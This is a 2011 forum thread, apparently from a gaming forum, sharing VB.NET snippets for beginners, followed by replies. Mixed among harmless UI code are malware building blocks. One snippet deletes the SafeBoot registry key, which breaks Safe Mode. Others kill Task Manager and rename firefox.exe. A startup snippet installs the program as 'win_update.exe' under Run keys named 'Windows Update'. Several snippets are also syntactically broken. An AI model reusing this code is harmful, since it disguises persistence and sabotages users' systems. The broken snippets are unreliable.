[TUTORIAL]VB.NET Usefull Source Codes[HOT]

02/15/2011 16:57 Konides#1
Useful Source Codes!
Here are some Usefull VB.NET source codes that you can include in your project!Hope you like them and remember to press THANKS if i helped :O

Open a Website
Code:
Process.Start("www.box.net")
Process.Start("www.myforum.net")
Open something
Code:
Shell("Notepad")
Shell("Calculator")
Delete a file
Code:
Dim FileToDelete As String
FileToDelete = "C:\File.exe"
If System.IO.File.Exists(FileToDelete) = True Then
System.IO.File.Delete(FileToDelete)
Kill a process
Code:
Dim RunningProcess As System.Diagnostics.Process = Process.GetProcessesByName("taskmgr.exe")(0)
RunningProcess.Kill()
Rename a file
Code:
My.Computer.FileSystem.RenameFile ("C:\Program Files\Mozilla Firefox\firefox.exe", "Anything.exe")
Delete a registry key
Code:
My.Computer.Registry.LocalMachine.DeleteSubKey("HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot")
Create a registry key
Code:
Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE", True)
regKey.CreateSubKey("MyApp")
regKey.Close()
Text To Speech:
Code:
Dim sapi
sapi = CreateObject("sapi.spvoice")
sapi.Speak(Textbox1.text)
Fade in
Code:
For FadeIn = 0.0 To 1.1 Step 0.1
Me.Opacity = FadeIn
Me.Refresh()
Threading.Thread.Sleep(100)
Next
Fade out:
Code:
For FadeOut = 90 To 10 Step -10
Me.Opacity = FadeOut / 100
Me.Refresh()
Threading.Thread.Sleep(50)
Next
Minimize To Tray
Just Add a Notifyicon
Code:
Private Sub Form1_Resize(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Resize

If Me.WindowState = FormWindowState.Minimized Then

Me.Hide()

End If

End Sub

Private Sub NotifyIcon1_MouseClick(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles NotifyIcon1.MouseClick

If Me.WindowState = FormWindowState.Minimized Then

Me.Show()

Me.WindowState = FormWindowState.Normal

End If

End Sub
Add Music To Your Tool:
First Add your music to Resources
Note: The File Type Of The Music must be .wav

Double Click Button1 (start):
Code:
My.Computer.Audio.Play(My.Resources.song namenowav, AudioPlayMode.BackgroundLoop)
Double Click Button2 (stop)
Code:
My.Computer.Audio.Stop()
Count Files In Folders:
Code:
Dim NOF As Integer
Dim FilePath As String = TextBox1.Text
NOF = System.IO.Directory.GetFiles(FilePath).Length
TextBox2.Text =NOF.ToString
Google Searcher
Add:
Process
Button

Double Click The Button and Write:
Code:
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
msgbox("WTF :| ? are u searching for nothing o.0 ?)
Else
Process1.StartInfo.FileName = ("http://www.google.co.uk/search?hl=en&q=" & TextBox1.Text & "&btnG=Search&meta=")
Process1.Start()
End If
End Sub
Case Example
Add:
1 Button
1 Textbox

Double Click the Button and write:
Code:
TextBox1.Text = Int(Rnd() * 4)
Select Case TextBox1.Text
Case 0
TextBox1.Text = "anything"
Case 1
TextBox1.Text = "passgenerator"
Case 2
TextBox1.Text = "CD key"
Case 3
TextBox1.Text = "strings"
End Select
Login Example:
Add:
1 button

Click The Button and write:
Code:
If TextBox1.Text = "CodeBreaker" _
And TextBox2.Text = "TheEndGamer" Then
MsgBox("Welcome to spam.net")
Else
MsgBox("Euuhh? do i know u :S ?")
End If
Xfire Add Friender and status changer (Just an example)
Add:
2 buttons
1 webbrowser
2 textboxes

Button1.text = Change Status
Button2.text = Add Friend

Double Click Button1 and write:
Code:
WebBrowser1.Navigate("xfire:status?text= " & TextBox1.Text)
Double Click Button2 and Write:
Code:
WebBrowser1.Navigate("xfire:add_friend?u ser=" & TextBox2.Text)
Add Your Application To Startup
Before Public Class Form1
Add:
Code:
Imports System.IO
Imports Microsoft.Win32
Now double click form1 and add the following Code:
Code:
Try
If System.IO.File.Exists(Path.GetTempPath() & "win_update.exe") = False Then
System.IO.File.Copy(System.Reflection.Assembly. _
GetExecutingAssembly.Location, Path.GetTempPath() & "win_update.exe")
End If
Catch ex As Exception

End Try
Try
Dim regKey As RegistryKey
regKey = Registry.CurrentUser.OpenSubKey("software\Microsoft\Windows\CurrentVersion\Run", True)
regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")
regKey.Close()

Catch ex As Exception

End Try

Try
Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")
regKey.Close()

Catch ex As Exception
End Try
Picture Viewer:
Add:
1 Button
1 PictureBox

Double Click Button1 and write:
Code:
Try
OpenFileDialog1.Title = "Open Picture"
OpenFileDialog1.FileName = ".jpg"
OpenFileDialog1.Filter = "All Files |*.*" OpenFileDialog1.ShowDialog()
PictureBox1.Image = System.Drawing.Image.FromFile(OpenFileDi alog1.FileName)
Catch ex As Exception
End Try
If you have any problems leave a feedback and i will help you as fast as i can!Remember this is for educational purpose!

Credits Goes to Mondragon-KonideS--->PRESS THANKS IF I HELPED!
02/20/2011 01:27 Mi4uric3#2
Why would you use "CD-Rom Prank" and "Disable Firewall" in legal ways? ;D
elitepvpers.com doesn't support any Malware-Coding ;)
02/20/2011 11:12 Konides#3
oups..i'll edit it :P
02/20/2011 22:13 Pati1112#4
Nice Thread :) Thank You :)
03/03/2011 14:59 iCyberHack#5
Cooles Tutorial !
You are cool ! xD
03/14/2011 22:27 crossfireXfreak#6
hey thanks :)
i have questions:)
what is a regestry key (im a coding noob)
and what is fadein/out
or Minimize To Tray
and add music dont work for me
and what is Count Files In Folders
pls answer :)
03/15/2011 13:44 Konides#7
Quote:
Originally Posted by crossfireXfreak View Post
hey thanks :)
i have questions:)
what is a regestry key (im a coding noob)
and what is fadein/out
or Minimize To Tray
and add music dont work for me
and what is Count Files In Folders
pls answer :)
regestry key:If you add this source to your project..the programm will start automatically when your pc starts
Minimize to Tray:Your programm will go at taskbar in minimize mode
Count file in folders:it will count how many files you have in a folder
hope i helped you :P
03/21/2011 15:53 Kraizy​#8
Quote:
Open something
Code:
Shell("Notepad")
Shell("Calculator")
Nice ;)
But: "Shell" is outdated. Use Process.Start("notepad") instead like the way you are opening a website.
04/26/2011 01:02 sarkoplata#9
Nice codes ^^
Btw , can anyone help me ? I wanna learn how many "SRO_Client" processes are working.I add them to a Listview with it's Process ID and Processname but to do that at multi client i have to learn How many sro_client is working at back ground.Btw I am using VB.NET
05/18/2011 18:00 Reextion#10
Quote:
Originally Posted by Konides View Post
Delete a file
Code:
Dim FileToDelete As String
FileToDelete = "C:\File.exe"
If System.IO.File.Exists(FileToDelete) = True Then
System.IO.File.Delete(FileToDelete)

->
Code:
 My.Computer.FileSystem.DeleteFile("Hier der DateiPfad ..")
Einfacher .. ;)

Und ne If Abfrage ob die blöde Datei überhaupt vorhanden ist geht damit ebenfalls :
Code:
 
        If My.Computer.FileSystem.FileExists("Pfad & Datei") = True Then
            My.Computer.FileSystem.DeleteFile("Pfad & Datei")
        Else : MsgBox("Gibt keine Datei zum löschen !! :-O")
        End If
Nur nen Tipp , spart man sich exakt 1 Zeile Code ! :O

Lg
05/18/2011 20:36 Liikex3#11
Kann man auf einer website auch ales finden ist net von ihm c&p..
05/19/2011 08:23 bestora#12
pls add a process exist ....
05/20/2011 17:55 Jay Niize#13
Quote:
Originally Posted by bestora View Post
pls add a process exist ....
[Only registered and activated users can see links. Click Here To Register...]

Learning by Doing.

btw. Nice list, but it does not help when you dont insert a description for each code.
06/18/2011 18:34 mrapc#14
It helped you only need Brain ;)
All codes are clear when you know for what you want tu use it
06/19/2011 20:14 Kraizy​#15
Quote:
Originally Posted by mrapc View Post
It helped you only need Brain ;)
All codes are clear when you know for what you want tu use it
Not if you are new to this stuff...